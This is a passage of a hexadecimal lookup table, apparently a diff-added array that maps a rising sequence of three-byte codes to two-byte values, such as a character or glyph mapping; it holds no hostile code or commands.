+0x00, 0x12, 0x9E, 0x3c, 0x10, +0x00, 0x12, 0x9F, 0x3d, 0x10, +0x00, 0x12, 0xA0, 0x3e, 0x10, +0x00, 0x12, 0xA1, 0x3f, 0x10, +0x00, 0x12, 0xA2, 0x40, 0x10, +0x00, 0x12, 0xA3, 0x41, 0x10, +0x00, 0x12, 0xA4, 0x42, 0x10, +0x00, 0x12, 0xA5, 0x43, 0x10, +0x00, 0x12, 0xA6, 0x44, 0x10, +0x00, 0x12, 0xA7, 0x45, 0x10, +0x00, 0x12, 0xA8, 0x46, 0x10, +0x00, 0x12, 0xA9, 0xf2, 0x00, +0x00, 0x12, 0xAA, 0x47, 0x10, +0x00, 0x12, 0xAB, 0x48, 0x10, +0x00, 0x12, 0xAC, 0x49, 0x10, +0x00, 0x12, 0xAD, 0x4a, 0x10, +0x00, 0x12, 0xAE, 0x4b, 0x10, +0x00, 0x12, 0xAF, 0x4c, 0x10, +0x00, 0x12, 0xB0, 0x4d, 0x10, +0x00, 0x12, 0xB1, 0x4e, 0x10, +0x00, 0x12, 0xB2, 0x4f, 0x10, +0x00, 0x12, 0xB3, 0x50, 0x10, +0x00, 0x12, 0xB4, 0x51, 0x10, +0x00, 0x12, 0xB5, 0x52, 0x10, +0x00, 0x12, 0xB6, 0x53, 0x10, +0x00, 0x12, 0xB7, 0x54, 0x10, +0x00, 0x12, 0xB8, 0x55, 0x10, +0x00, 0x12, 0xB9, 0x56, 0x10, +0x00, 0x12, 0xBA, 0x57, 0x10, +0x00, 0x12, 0xBB, 0xc3, 0x0e, +0x00, 0x12, 0xBC, 0x58, 0x10, +0x00, 0x12, 0xBD, 0x59, 0x10, +0x00, 0x12, 0xBE, 0x5a, 0x10, +0x00, 0x12, 0xBF, 0x5b, 0x10, +0x00, 0x12, 0xC0, 0x5c, 0x10, +0x00, 0x12, 0xC1, 0x5d, 0x10, +0x00, 0x12, 0xC2, 0x5e, 0x10, +0x00, 0x12, 0xC3, 0x5f, 0x10, +0x00, 0x12, 0xC4, 0x60, 0x10, +0x00, 0x12, 0xC5, 0x61, 0x10, +0x00, 0x12, 0xC6, 0x62, 0x10, +0x00, 0x12, 0xC7, 0x63, 0x10, +0x00, 0x12, 0xC8, 0x64, 0x10, +0x00, 0x12, 0xC9, 0xb9, 0x00, +0x00, 0x12, 0xCA, 0x65, 0x10, +0x00, 0x12, 0xCB, 0x66, 0x10, +0x00, 0x12, 0xCC, 0x67, 0x10, +0x00, 0x12, 0xCD, 0x68, 0x10, +0x00, 0x12, 0xCE, 0xf7, 0x01, +0x00, 0x12, 0xCF, 0xda, 0x00, +0x00, 0x12, 0xD0, 0x69, 0x10, +0x00, 0x12, 0xD1, 0xeb, 0x0f, +0x00, 0x12, 0xD2, 0xeb, 0x0f, +0x00, 0x12, 0xD3, 0x6a, 0x10, +0x00, 0x12, 0xD4, 0x29, 0x05, +0x00, 0x12, 0xD5, 0x6b, 0x10, +0x00, 0x12, 0xD6, 0x6c, 0x10, +0x00, 0x12, 0xD7, 0x6d, 0x10, +0x00, 0x12, 0xD8, 0xdf, 0x03, +0x00, 0x12, 0xD9, 0x05, 0x00, +0x00, 0x12, 0xDA, 0x05, 0x00, +0x00, 0x12, 0xDB, 0x6e, 0x10, +0x00, 0x12, 0xDC, 0x6f, 0x10, +0x00, 0x12, 0xDD, 0x70, 0x10, +0x00, 0x12, 0xDE, 0x71, 0x10, +0x00, 0x12, 0xDF, 0x72, 0x10, +0x00, 0x12, 0xE0, 0x73, 0x10, +0x00, 0x12, 0xE1, 0x74, 0x10, +0x00, 0x12, 0xE2, 0x75, 0x10, +0x00, 0x12, 0xE3, 0x76, 0x10, +0x00, 0x12, 0xE4, 0x6e, 0x10, +0x00, 0x12, 0xE5, 0x77, 0x10, +0x00, 0x12, 0xE6, 0x78, 0x10, +0x00, 0x12, 0xE7, 0x79, 0x10, +0x00, 0x12, 0xE8, 0x01, 0x0f, +0x00, 0x12, 0xE9, 0x7a, 0x10, +0x00, 0x12, 0xEA, 0x7b, 0x10, +0x00, 0x12, 0xEB, 0x7c, 0x10, +0x00, 0x12, 0xEC, 0x7d, 0x10, +0x00, 0x12, 0xED, 0x7e, 0x10, +0x00, 0x12, 0xEE, 0xbe, 0x09, +0x00, 0x12, 0xEF, 0x7f, 0x10, +0x00, 0x12, 0xF0, 0x80, 0x10, +0x00, 0x12, 0xF1, 0x81, 0x10, +0x00, 0x12, 0xF2, 0x80, 0x00, +0x00, 0x12, 0xF3, 0x82, 0x10, +0x00, 0x12, 0xF4, 0x83, 0x10, +0x00, 0x12, 0xF5, 0x84, 0x10, +0x00, 0x12, 0xF6, 0x85, 0x10, +0x00, 0x12, 0xF7, 0x86, 0x10, +0x00, 0x12, 0xF8, 0x87, 0x10, +0x00, 0x12, 0xF9, 0x88, 0x10, +0x00, 0x12, 0xFA, 0x89, 0x10, +0x00, 0x12, 0xFB, 0x4f, 0x02, +0x00, 0x12, 0xFC, 0x8a, 0x10, +0x00, 0x12, 0xFD, 0x8b, 0x10, +0x00, 0x12, 0xFE, 0x8c, 0x10, +0x00, 0x12, 0xFF, 0x8d, 0x10, +0x00, 0x13, 0x00, 0x8e, 0x10, +0x00, 0x13, 0x01, 0x8f, 0x10, +0x00, 0x13, 0x02, 0x80, 0x10, +0x00, 0x13, 0x03, 0x90, 0x10, +0x00, 0x13, 0x04, 0x91, 0x10, +0x00, 0x13, 0x05, 0x92, 0x10, +0x00, 0x13, 0x06, 0x93, 0x10, +0x00, 0x13, 0x07, 0x94, 0x10, +0x00, 0x13, 0x08, 0x95, 0x10, +0x00, 0x13, 0x09, 0x96, 0x10, +0x00, 0x13, 0x0A, 0x69, 0x01, +0x00, 0x13, 0x0B, 0x97, 0x10, +0x00, 0x13, 0x0C, 0x98, 0x10, +0x00, 0x13, 0x0D, 0x99, 0x10, +0x00, 0x13, 0x0E, 0x9a, 0x10, +0x00, 0x13, 0x0F, 0x9b, 0x10, +0x00, 0x13, 0x10, 0xf9, 0x0a, +0x00, 0x13, 0x11, 0xb9, 0x00, +0x00, 0x13, 0x12, 0x9c, 0x10, +0x00, 0x13, 0x13, 0xd3, 0x06, +0x00, 0x13, 0x14, 0x9d, 0x10, +0x00, 0x13, 0x15, 0xd3, 0x03, +0x00, 0x13, 0x16, 0x9e, 0x10, +0x00, 0x13, 0x17, 0xfd, 0x06, +0x00, 0x13, 0x18, 0x9f, 0x10, +0x00, 0x13, 0x19, 0x05, 0x00, +0x00, 0x13, 0x1A, 0x05, 0x00, +0x00, 0x13, 0x1B, 0xa0, 0x10, +0x00, 0x13, 0x1C, 0xa1, 0x10, +0x00, 0x13, 0x1D, 0xa2, 0x10, +0x00, 0x13, 0x1E, 0xa3, 0x10, +0x00, 0x13, 0x1F, 0xa4, 0x10, +0x00, 0x13, 0x20, 0x80, 0x10, +0x00, 0x13, 0x21, 0xc9, 0x01, +0x00, 0x13, 0x22, 0xa5, 0x10, +0x00, 0x13, 0x23, 0xa6, 0x10, +0x00, 0x13, 0x24, 0x4d, 0x00, +0x00, 0x13, 0x25, 0xa7, 0x10, +0x00, 0x13, 0x26, 0xa8, 0x10, +0x00, 0x13, 0x27, 0xa9, 0x10, +0x00, 0x13, 0x28, 0xaa, 0x10, +0x00, 0x13, 0x29, 0xab, 0x10, +0x00, 0x13, 0x2A, 0xac, 0x10, +0x00, 0x13, 0x2B, 0xad, 0x10, +0x00, 0x13, 0x2C, 0xae, 0x10, +0x00, 0x13, 0x2D, 0xaf, 0x10, +0x00, 0x13, 0x2E, 0xb0, 0x10, +0x00, 0x13, 0x2F, 0x40, 0x06, +0x00, 0x13, 0x30, 0xb1, 0x10, +0x00, 0x13, 0x31, 0xb2, 0x10, +0x00, 0x13, 0x32, 0xb3, 0x10, +0x00, 0x13, 0x33, 0xb4, 0x10, +0x00, 0x13, 0x34, 0xb5, 0x10, +0x00, 0x13, 0x35, 0xb6, 0x10, +0x00, 0x13, 0x36, 0xb7, 0x10, +0x00, 0x13, 0x37, 0xb8, 0x10, +0x00, 0x13, 0x38, 0xb9, 0x10, +0x00, 0x13, 0x39, 0xba, 0x10, +0x00, 0x13, 0x3A, 0xbb, 0x10, +0x00, 0x13, 0x3B, 0xbc, 0x10, +0x00, 0x13, 0x3C, 0xbd, 0x10, +0x00, 0x13, 0x3D, 0xbe, 0x10, +0x00, 0x13, 0x3E, 0xbf, 0x10, +0x00, 0x13, 0x3F, 0xc0, 0x10, +0x00, 0x13, 0x40, 0xc1, 0x10, +0x00, 0x13, 0x41, 0xc2, 0x10, +0x00, 0x13, 0x42, 0xc3, 0x10, +0x00, 0x13, 0x43, 0xdd, 0x00, +0x00, 0x13, 0x44, 0xc4, 0x10, +0x00, 0x13, 0x45, 0x6c, 0x0b, +0x00, 0x13, 0x46, 0xe8, 0x04, +0x00, 0x13, 0x47, 0x61, 0x05, +0x00, 0x13, 0x48, 0xc5, 0x10, +0x00, 0x13, 0x49, 0xc6, 0x10, +0x00, 0x13, 0x4A, 0xc7, 0x10, +0x00, 0x13, 0x4B, 0xc8, 0x10, +0x00, 0x13, 0x4C, 0xc9, 0x10, +0x00, 0x13, 0x4D, 0xca, 0x10, +0x00, 0x13, 0x4E, 0xcb, 0x10, +0x00, 0x13, 0x4F, 0xcc, 0x10, +0x00, 0x13, 0x50, 0xcd, 0x10, +0x00, 0x13, 0x51, 0xce, 0x10, +0x00, 0x13, 0x52, 0xcf, 0x10, +0x00, 0x13, 0x53, 0xd0, 0x10, +0x00, 0x13, 0x54, 0xd1, 0x10, +0x00, 0x13, 0x55, 0xd2, 0x10, +0x00, 0x13, 0x56, 0xd3, 0x10, +0x00, 0x13, 0x57, 0xd4, 0x10, +0x00, 0x13, 0x58, 0xd5, 0x10, +0x00, 0x13, 0x59, 0xd6, 0x10, +0x00, 0x13, 0x5A, 0xd7, 0x10, +0x00, 0x13, 0x5B, 0xd8, 0x10, +0x00, 0x13, 0x5C, 0xd9, 0x10, +0x00, 0x13, 0x5D, 0xda, 0x10, +0x00, 0x13, 0x5E, 0xdb, 0x10, +0x00, 0x13, 0x5F, 0x05, 0x00, +0x00, 0x13, 0x60, 0x05, 0x00, +0x00, 0x13, 0x61, 0xdc, 0x10, +0x00, 0x13, 0x62, 0xdd, 0x10, +0x00, 0x13, 0x63, 0xde, 0x10, +0x00, 0x13, 0x64, 0xdf, 0x10, +0x00, 0x13, 0x65, 0x69, 0x01, +0x00, 0x13, 0x66, 0xe0, 0x10, +0x00, 0x13, 0x67, 0xe1, 0x10, +0x00, 0x13, 0x68, 0xe2, 0x10, +0x00, 0x13, 0x69, 0xe3, 0x10, +0x00, 0x13, 0x6A, 0xe4, 0x10, +0x00, 0x13, 0x6B, 0xe5, 0x10, +0x00, 0x13, 0x6C, 0xe6, 0x10, +0x00, 0x13, 0x6D, 0xe7, 0x10, +0x00, 0x13, 0x6E, 0xe8, 0x10, +0x00, 0x13, 0x6F, 0xe9, 0x10, +0x00, 0x13, 0x70, 0xb9, 0x02, +0x00, 0x13, 0x71, 0xb9, 0x00, +0x00, 0x13, 0x72, 0xd1, 0x05, +0x00, 0x13, 0x73, 0xea, 0x10, +0x00, 0x13, 0x74, 0x3f, 0x03, +0x00, 0x13, 0x75, 0x36, 0x06, +0x00, 0x13, 0x76, 0xeb, 0x10, +0x00, 0x13, 0x77, 0x4f, 0x02, +0x00, 0x13, 0x78, 0xec, 0x10, +0x00, 0x13, 0x79, 0xed, 0x10, +0x00, 0x13, 0x7A, 0xee, 0x10, +0x00, 0x13, 0x7B, 0xef, 0x10, +0x00, 0x13, 0x7C, 0xf0, 0x10, +0x00, 0x13, 0x7D, 0xf1, 0x10, +0x00, 0x13, 0x7E, 0xf2, 0x10, +0x00, 0x13, 0x7F, 0x05, 0x00, +0x00, 0x13, 0x80, 0x05, 0x00, +0x00, 0x13, 0x81, 0xf3, 0x10, +0x00, 0x13, 0x82, 0xf4, 0x10, +0x00, 0x13, 0x83, 0xf5, 0x10, +0x00, 0x13, 0x84, 0xf7, 0x01, +0x00, 0x13, 0x85, 0xf6, 0x10, +0x00, 0x13, 0x86, 0xf7, 0x10, +0x00, 0x13, 0x87, 0xf8, 0x10, +0x00, 0x13, 0x88, 0xf9, 0x10, +0x00, 0x13, 0x89, 0xfa, 0x10, +0x00, 0x13, 0x8A, 0xfb, 0x10, +0x00, 0x13, 0x8B, 0xfc, 0x10, +0x00, 0x13, 0x8C, 0xfd, 0x10, +0x00, 0x13, 0x8D, 0xfe, 0x10, +0x00, 0x13, 0x8E, 0xff, 0x10, +0x00, 0x13, 0x8F, 0x3e, 0x0a, +0x00, 0x13, 0x90, 0x00, 0x11, +0x00, 0x13, 0x91, 0x01, 0x11, +0x00, 0x13, 0x92, 0x02, 0x11, +0x00, 0x13, 0x93, 0x03, 0x11, +0x00, 0x13, 0x94, 0x04, 0x11, +0x00, 0x13, 0x95, 0x05, 0x11, +0x00, 0x13, 0x96, 0x06, 0x11, +0x00, 0x13, 0x97, 0x10, 0x00, +0x00, 0x13, 0x98, 0x07, 0x11, +0x00, 0x13, 0x99, 0x08, 0x11, +0x00, 0x13, 0x9A, 0x09, 0x11, +0x00, 0x13, 0x9B, 0x0a, 0x11, +0x00, 0x13, 0x9C, 0x0b, 0x11, +0x00, 0x13, 0x9D, 0x0c, 0x11, +0x00, 0x13, 0x9E, 0x0d, 0x11, +0x00, 0x13, 0x9F, 0x38, 0x05, +0x00, 0x13, 0xA0, 0x0e, 0x11, +0x00, 0x13, 0xA1, 0x0f, 0x11, +0x00, 0x13, 0xA2, 0x10, 0x11, +0x00, 0x13, 0xA3, 0x11, 0x11, +0x00, 0x13, 0xA4, 0x12, 0x11, +0x00, 0x13, 0xA5, 0x13, 0x11, +0x00, 0x13, 0xA6, 0x14, 0x11, +0x00, 0x13, 0xA7, 0x15, 0x11, +0x00, 0x13, 0xA8, 0x16, 0x11, +0x00, 0x13, 0xA9, 0x34, 0x01, +0x00, 0x13, 0xAA, 0x17, 0x11, +0x00, 0x13, 0xAB, 0x18, 0x11, +0x00, 0x13, 0xAC, 0x19, 0x11, +0x00, 0x13, 0xAD, 0x1a, 0x11, +0x00, 0x13, 0xAE, 0x1b, 0x11, +0x00, 0x13, 0xAF, 0x1c, 0x11, +0x00, 0x13, 0xB0, 0x1d, 0x11, +0x00, 0x13, 0xB1, 0xe9, 0x03, +0x00, 0x13, 0xB2, 0x1e, 0x11, +0x00, 0x13, 0xB3, 0x1f, 0x11, +0x00, 0x13, 0xB4, 0x20, 0x11, +0x00, 0x13, 0xB5, 0x21, 0x11, +0x00, 0x13, 0xB6, 0x22, 0x11, +0x00, 0x13, 0xB7, 0x23, 0x11, +0x00, 0x13, 0xB8, 0x24, 0x11, +0x00, 0x13, 0xB9, 0x25, 0x11, +0x00, 0x13, 0xBA, 0x26, 0x11, +0x00, 0x13, 0xBB, 0x27, 0x11, +0x00, 0x13, 0xBC, 0x28, 0x11, +0x00, 0x13, 0xBD, 0x29, 0x11, +0x00, 0x13, 0xBE, 0x2a, 0x11, +0x00, 0x13, 0xBF, 0x2b, 0x11, +0x00, 0x13, 0xC0, 0x2c, 0x11, +0x00, 0x13, 0xC1, 0x2d, 0x11, +0x00, 0x13, 0xC2, 0x2e, 0x11, +0x00, 0x13, 0xC3, 0x05, 0x00, +0x00, 0x13, 0xC4, 0x05, 0x00, +0x00, 0x13, 0xC5, 0x2f, 0x11, +0x00, 0x13, 0xC6, 0x30, 0x11, +0x00, 0x13, 0xC7, 0x31, 0x11, +0x00, 0x13, 0xC8, 0x71, 0x07, +0x00, 0x13, 0xC9, 0x32, 0x11, +0x00, 0x13, 0xCA, 0x33, 0x11, +0x00, 0x13, 0xCB, 0x34, 0x11, +0x00, 0x13, 0xCC, 0x35, 0x11, +0x00, 0x13, 0xCD, 0x36, 0x11, +0x00, 0x13, 0xCE, 0x80, 0x10, +0x00, 0x13, 0xCF, 0x37, 0x11, +0x00, 0x13, 0xD0, 0x38, 0x11, +0x00, 0x13, 0xD1, 0x39, 0x11, +0x00, 0x13, 0xD2, 0x3a, 0x11, +0x00, 0x13, 0xD3, 0x28, 0x0b, +0x00, 0x13, 0xD4, 0x20, 0x0b, +0x00, 0x13, 0xD5, 0xc1, 0x09, +0x00, 0x13, 0xD6, 0x3b, 0x11, +0x00, 0x13, 0xD7, 0x3c, 0x11, +0x00, 0x13, 0xD8, 0x29, 0x05, +0x00, 0x13, 0xD9, 0x3d, 0x11, +0x00, 0x13, 0xDA, 0x3e, 0x11, +0x00, 0x13, 0xDB, 0x3f, 0x11, +0x00, 0x13, 0xDC, 0x40, 0x11, +0x00, 0x13, 0xDD, 0x41, 0x11, +0x00, 0x13, 0xDE, 0x42, 0x11, +0x00, 0x13, 0xDF, 0x43, 0x11, +0x00, 0x13, 0xE0, 0xd4, 0x0c, +0x00, 0x13, 0xE1, 0x44, 0x11, +0x00, 0x13, 0xE2, 0x45, 0x11, +0x00, 0x13, 0xE3, 0x46, 0x11, +0x00, 0x13, 0xE4, 0x47, 0x11, +0x00, 0x13, 0xE5, 0x48, 0x11, +0x00, 0x13, 0xE6, 0x49, 0x11, +0x00, 0x13, 0xE7, 0x4a, 0x11, +0x00, 0x13, 0xE8, 0x80, 0x10, +0x00, 0x13, 0xE9, 0x4b, 0x11, +0x00, 0x13, 0xEA, 0x4c, 0x11, +0x00, 0x13, 0xEB, 0x4d, 0x11, +0x00, 0x13, 0xEC, 0x4e, 0x11, +0x00, 0x13, 0xED, 0x4f, 0x11, +0x00, 0x13, 0xEE, 0x50, 0x11, +0x00, 0x13, 0xEF, 0x51, 0x11, +0x00, 0x13, 0xF0, 0x52, 0x11, +0x00, 0x13, 0xF1, 0x53, 0x11, +0x00, 0x13, 0xF2, 0x54, 0x11, +0x00, 0x13, 0xF3, 0xf4, 0x0b, +0x00, 0x13, 0xF4, 0x55, 0x11, +0x00, 0x13, 0xF5, 0x56, 0x11, +0x00, 0x13, 0xF6, 0x57, 0x11, +0x00, 0x13, 0xF7, 0x80, 0x04, +0x00, 0x13, 0xF8, 0x58, 0x11, +0x00, 0x13, 0xF9, 0x59, 0x11, +0x00, 0x13, 0xFA, 0x5a, 0x11, +0x00, 0x13, 0xFB, 0x5b, 0x11, +0x00, 0x13, 0xFC, 0x5c, 0x11, +0x00, 0x13, 0xFD, 0xb9, 0x02, +0x00, 0x13, 0xFE, 0x5d, 0x11, +0x00, 0x13, 0xFF, 0x5e, 0x11, +0x00, 0x14, 0x00, 0x5f, 0x11, +0x00, 0x14, 0x01, 0x60, 0x11, +0x00, 0x14, 0x02, 0x61, 0x11, +0x00, 0x14, 0x03, 0x62, 0x11, +0x00, 0x14, 0x04, 0xb9, 0x00, +0x00, 0x14, 0x05, 0x63, 0x11, +0x00, 0x14, 0x06, 0x64, 0x11, +0x00, 0x14, 0x07, 0x65, 0x11, +0x00, 0x14, 0x08, 0x66, 0x11, +0x00, 0x14, 0x09, 0x67, 0x11, +0x00, 0x14, 0x0A, 0x68, 0x11, +0x00, 0x14, 0x0B, 0x3b, 0x10, +0x00, 0x14, 0x0C, 0x69, 0x11, +0x00, 0x14, 0x0D, 0x69, 0x01, +0x00, 0x14, 0x0E, 0x69, 0x01, +0x00, 0x14, 0x0F, 0x6a, 0x11, +0x00, 0x14, 0x10, 0x6b, 0x11, +0x00, 0x14, 0x11, 0x6c, 0x11, +0x00, 0x14, 0x12, 0x6d, 0x11, +0x00, 0x14, 0x13, 0x6e, 0x11, +0x00, 0x14, 0x14, 0x6f, 0x11, +0x00, 0x14, 0x15, 0x70, 0x11, +0x00, 0x14, 0x16, 0x71, 0x11, +0x00, 0x14, 0x17, 0x72, 0x11, +0x00, 0x14, 0x18, 0x73, 0x11, +0x00, 0x14, 0x19, 0x74, 0x11, +0x00, 0x14, 0x1A, 0x75, 0x11, +0x00, 0x14, 0x1B, 0x05, 0x00, +0x00, 0x14, 0x1C, 0x05, 0x00, +0x00, 0x14, 0x1D, 0x76, 0x11, +0x00, 0x14, 0x1E, 0x77, 0x11, +0x00, 0x14, 0x1F, 0x78, 0x11, +0x00, 0x14, 0x20, 0x79, 0x11, +0x00, 0x14, 0x21, 0x7a, 0x11, +0x00, 0x14, 0x22, 0xd1, 0x05, +0x00, 0x14, 0x23, 0x7b, 0x11, +0x00, 0x14, 0x24, 0x7c, 0x11, +0x00, 0x14, 0x25, 0x7d, 0x11, +0x00, 0x14, 0x26, 0x7e, 0x11, +0x00, 0x14, 0x27, 0x7f, 0x11, +0x00, 0x14, 0x28, 0x80, 0x11, +0x00, 0x14, 0x29, 0x81, 0x11, +0x00, 0x14, 0x2A, 0xee, 0x06, +0x00, 0x14, 0x2B, 0x82, 0x11, +0x00, 0x14, 0x2C, 0x83, 0x11, +0x00, 0x14, 0x2D, 0x84, 0x11, +0x00, 0x14, 0x2E, 0x85, 0x11, +0x00, 0x14, 0x2F, 0x86, 0x11, +0x00, 0x14, 0x30, 0x87, 0x11, +0x00, 0x14, 0x31, 0x88, 0x11, +0x00, 0x14, 0x32, 0x89, 0x11, +0x00, 0x14, 0x33, 0x8a, 0x11, +0x00, 0x14, 0x34, 0x8b, 0x11, +0x00, 0x14, 0x35, 0x8c, 0x11, +0x00, 0x14, 0x36, 0x8d, 0x11, +0x00, 0x14, 0x37, 0x8e, 0x11, +0x00, 0x14, 0x38, 0xc9, 0x01, +0x00, 0x14, 0x39, 0x8f, 0x11, +0x00, 0x14, 0x3A, 0x90, 0x11, +0x00, 0x14, 0x3B, 0x91, 0x11, +0x00, 0x14, 0x3C, 0x92, 0x11, +0x00, 0x14, 0x3D, 0x93, 0x11, +0x00, 0x14, 0x3E, 0x94, 0x11, +0x00, 0x14, 0x3F, 0x95, 0x11, +0x00, 0x14, 0x40, 0x96, 0x11, +0x00, 0x14, 0x41, 0xd3, 0x01, +0x00, 0x14, 0x42, 0x97, 0x11, +0x00, 0x14, 0x43, 0x98, 0x11, +0x00, 0x14, 0x44, 0x99, 0x11, +0x00, 0x14, 0x45, 0x9a, 0x11, +0x00, 0x14, 0x46, 0x9b, 0x11, +0x00, 0x14, 0x47, 0x9c, 0x11, +0x00, 0x14, 0x48, 0x49, 0x08, +0x00, 0x14, 0x49, 0x9d, 0x11, +0x00, 0x14, 0x4A, 0x9e, 0x11, +0x00, 0x14, 0x4B, 0x9f, 0x11, +0x00, 0x14, 0x4C, 0xa0, 0x11, +0x00, 0x14, 0x4D, 0xe9, 0x03, +0x00, 0x14, 0x4E, 0xa1, 0x11, +0x00, 0x14, 0x4F, 0x10, 0x00, +0x00, 0x14, 0x50, 0xa2, 0x11, +0x00, 0x14, 0x51, 0x51, 0x03, +0x00, 0x14, 0x52, 0xa3, 0x11, +0x00, 0x14, 0x53, 0x78, 0x0a, +0x00, 0x14, 0x54, 0xa4, 0x11, +0x00, 0x14, 0x55, 0xa5, 0x11, +0x00, 0x14, 0x56, 0xa6, 0x11, +0x00, 0x14, 0x57, 0xa7, 0x11, +0x00, 0x14, 0x58, 0xa8, 0x11, +0x00, 0x14, 0x59, 0xa9, 0x11, +0x00, 0x14, 0x5A, 0xaa, 0x11, +0x00, 0x14, 0x5B, 0xab, 0x11, +0x00, 0x14, 0x5C, 0x48, 0x09, +0x00, 0x14, 0x5D, 0xac, 0x11, +0x00, 0x14, 0x5E, 0x2f, 0x02, +0x00, 0x14, 0x5F, 0xad, 0x11, +0x00, 0x14, 0x60, 0xae, 0x11, +0x00, 0x14, 0x61, 0xaf, 0x11, +0x00, 0x14, 0x62, 0xb0, 0x11, +0x00, 0x14, 0x63, 0xb1, 0x11, +0x00, 0x14, 0x64, 0xb2, 0x11, +0x00, 0x14, 0x65, 0xb3, 0x11, +0x00, 0x14, 0x66, 0xb4, 0x11, +0x00, 0x14, 0x67, 0xb5, 0x11, +0x00, 0x14, 0x68, 0xb6, 0x11, +0x00, 0x14, 0x69, 0x05, 0x00, +0x00, 0x14, 0x6A, 0x05, 0x00, +0x00, 0x14, 0x6B, 0xb7, 0x11, +0x00, 0x14, 0x6C, 0x68, 0x08, +0x00, 0x14, 0x6D, 0xb8, 0x11, +0x00, 0x14, 0x6E, 0xb9, 0x11, +0x00, 0x14, 0x6F, 0xba, 0x11, +0x00, 0x14, 0x70, 0xbb, 0x11, +0x00, 0x14, 0x71, 0xbc, 0x11, +0x00, 0x14, 0x72, 0xbd, 0x11, +0x00, 0x14, 0x73, 0xbe, 0x11, +0x00, 0x14, 0x74, 0xbf, 0x11, +0x00, 0x14, 0x75, 0xc0, 0x11, +0x00, 0x14, 0x76, 0xc1, 0x11, +0x00, 0x14, 0x77, 0xc0, 0x09, +0x00, 0x14, 0x78, 0xcf, 0x09, +0x00, 0x14, 0x79, 0xc2, 0x11, +0x00, 0x14, 0x7A, 0xc3, 0x11, +0x00, 0x14, 0x7B, 0xc4, 0x11, +0x00, 0x14, 0x7C, 0xf2, 0x00, +0x00, 0x14, 0x7D, 0xc5, 0x11, +0x00, 0x14, 0x7E, 0xc6, 0x11, +0x00, 0x14, 0x7F, 0xbc, 0x0c, +0x00, 0x14, 0x80, 0xc7, 0x11, +0x00, 0x14, 0x81, 0xc8, 0x11, +0x00, 0x14, 0x82, 0xf4, 0x06, +0x00, 0x14, 0x83, 0xc9, 0x11, +0x00, 0x14, 0x84, 0xca, 0x11, +0x00, 0x14, 0x85, 0xf4, 0x0b, +0x00, 0x14, 0x86, 0xcb, 0x11, +0x00, 0x14, 0x87, 0x36, 0x06, +0x00, 0x14, 0x88, 0xcc, 0x11, +0x00, 0x14, 0x89, 0xcd, 0x11, +0x00, 0x14, 0x8A, 0xce, 0x11, +0x00, 0x14, 0x8B, 0xcf, 0x11, +0x00, 0x14, 0x8C, 0xd2, 0x0f, +0x00, 0x14, 0x8D, 0xf6, 0x0c, +0x00, 0x14, 0x8E, 0xd0, 0x11, +0x00, 0x14, 0x8F, 0xd1, 0x11, +0x00, 0x14, 0x90, 0xd2, 0x11, +0x00, 0x14, 0x91, 0xd3, 0x11, +0x00, 0x14, 0x92, 0xd4, 0x11, +0x00, 0x14, 0x93, 0xd5, 0x11, +0x00, 0x14, 0x94, 0xd6, 0x11, +0x00, 0x14, 0x95, 0x02, 0x0c, +0x00, 0x14, 0x96, 0xd7, 0x11, +0x00, 0x14, 0x97, 0xd8, 0x11, +0x00, 0x14, 0x98, 0xd9, 0x11, +0x00, 0x14, 0x99, 0xda, 0x11, +0x00, 0x14, 0x9A, 0xb9, 0x00, +0x00, 0x14, 0x9B, 0xdb, 0x11, +0x00, 0x14, 0x9C, 0xdc, 0x11, +0x00, 0x14, 0x9D, 0xdd, 0x11, +0x00, 0x14, 0x9E, 0xde, 0x11, +0x00, 0x14, 0x9F, 0xdf, 0x11, +0x00, 0x14, 0xA0, 0xe0, 0x11, +0x00, 0x14, 0xA1, 0xe4, 0x04, +0x00, 0x14, 0xA2, 0xe1, 0x11, +0x00, 0x14, 0xA3, 0xe2, 0x11, +0x00, 0x14, 0xA4, 0xe3, 0x11, +0x00, 0x14, 0xA5, 0xe4, 0x08, +0x00, 0x14, 0xA6, 0xe4, 0x11, +0x00, 0x14, 0xA7, 0xb9, 0x02, +0x00, 0x14, 0xA8, 0x05, 0x00, +0x00, 0x14, 0xA9, 0x05, 0x00, +0x00, 0x14, 0xAA, 0xe5, 0x11, +0x00, 0x14, 0xAB, 0xe6, 0x11, +0x00, 0x14, 0xAC, 0xe7, 0x11, +0x00, 0x14, 0xAD, 0xe8, 0x11, +0x00, 0x14, 0xAE, 0xe9, 0x11, +0x00, 0x14, 0xAF, 0xea, 0x11, +0x00, 0x14, 0xB0, 0xeb, 0x11, +0x00, 0x14, 0xB1, 0xec, 0x11, +0x00, 0x14, 0xB2, 0xed, 0x11, +0x00, 0x14, 0xB3, 0xee, 0x11, +0x00, 0x14, 0xB4, 0xd2, 0x0f, +0x00, 0x14, 0xB5, 0xef, 0x11, +0x00, 0x14, 0xB6, 0xf0, 0x11, +0x00, 0x14, 0xB7, 0xf1, 0x11, +0x00, 0x14, 0xB8, 0xf2, 0x11, +0x00, 0x14, 0xB9, 0xf3, 0x11, +0x00, 0x14, 0xBA, 0xf4, 0x11, +0x00, 0x14, 0xBB, 0x81, 0x0f, +0x00, 0x14, 0xBC, 0x1b, 0x07, +0x00, 0x14, 0xBD, 0xf5, 0x11, +0x00, 0x14, 0xBE, 0xf6, 0x11, +0x00, 0x14, 0xBF, 0xf9, 0x0a, +0x00, 0x14, 0xC0, 0xf7, 0x11, +0x00, 0x14, 0xC1, 0xf8, 0x11, +0x00, 0x14, 0xC2, 0xc9, 0x01, +0x00, 0x14, 0xC3, 0x70, 0x04, +0x00, 0x14, 0xC4, 0xf9, 0x11, +0x00, 0x14, 0xC5, 0xfa, 0x11, +0x00, 0x14, 0xC6, 0xfb, 0x11, +0x00, 0x14, 0xC7, 0x69, 0x01, +0x00, 0x14, 0xC8, 0xfc, 0x11, +0x00, 0x14, 0xC9, 0x80, 0x00, +0x00, 0x14, 0xCA, 0xfd, 0x11, +0x00, 0x14, 0xCB, 0xfe, 0x11, +0x00, 0x14, 0xCC, 0xff, 0x11, +0x00, 0x14, 0xCD, 0x00, 0x12, +0x00, 0x14, 0xCE, 0x01, 0x12, +0x00, 0x14, 0xCF, 0x02, 0x12, +0x00, 0x14, 0xD0, 0x03, 0x12, +0x00, 0x14, 0xD1, 0x04, 0x12, +0x00, 0x14, 0xD2, 0x05, 0x12, +0x00, 0x14, 0xD3, 0x06, 0x12, +0x00, 0x14, 0xD4, 0x07, 0x12, +0x00, 0x14, 0xD5, 0x08, 0x12, +0x00, 0x14, 0xD6, 0x09, 0x12, +0x00, 0x14, 0xD7, 0x0a, 0x12, +0x00, 0x14, 0xD8, 0x0b, 0x12, +0x00, 0x14, 0xD9, 